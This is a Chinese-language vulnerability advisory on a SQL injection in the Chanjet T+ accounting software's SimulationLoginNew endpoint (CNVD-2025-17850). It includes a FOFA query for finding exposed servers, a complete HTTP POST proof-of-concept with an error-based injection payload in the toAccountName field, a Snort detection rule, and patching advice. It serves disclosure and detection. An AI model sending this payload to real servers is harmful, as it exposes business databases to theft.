畅捷通T+-SimulationLoginNew-sql注入¶

畅捷通T+-SimulationLoginNew-sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本¶

畅捷通T+

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：app="畅捷通-TPlus"

POC/EXP：

POST /tplus/GLSyncService.asmx/SimulationLoginNew  HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

toAccountName=1' AND 1 = CONVERT(int, db_name()) --&UserName=&AdminPwd=&currentYear=2025-01-01

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"畅捷通T+ - SQL Injection via SimulationLoginNew (CNVD-2025-17850)";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/tplus/GLSyncService.asmx/SimulationLoginNew";
    http.request_body; pcre:"/toAccountName=[^&]*'[^&]*AND[^&]*CONVERT\\(int,\\s*db_name\\(\\)\\)/i";
    metadata:
        service http,
        affected_product "畅捷通T+",
        vulnerability_type "SQL Injection",
        cve "CNVD-2025-17850",
        severity "high";
    classtype:web-application-attack;
    sid:1000675;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限，升级至安全版本。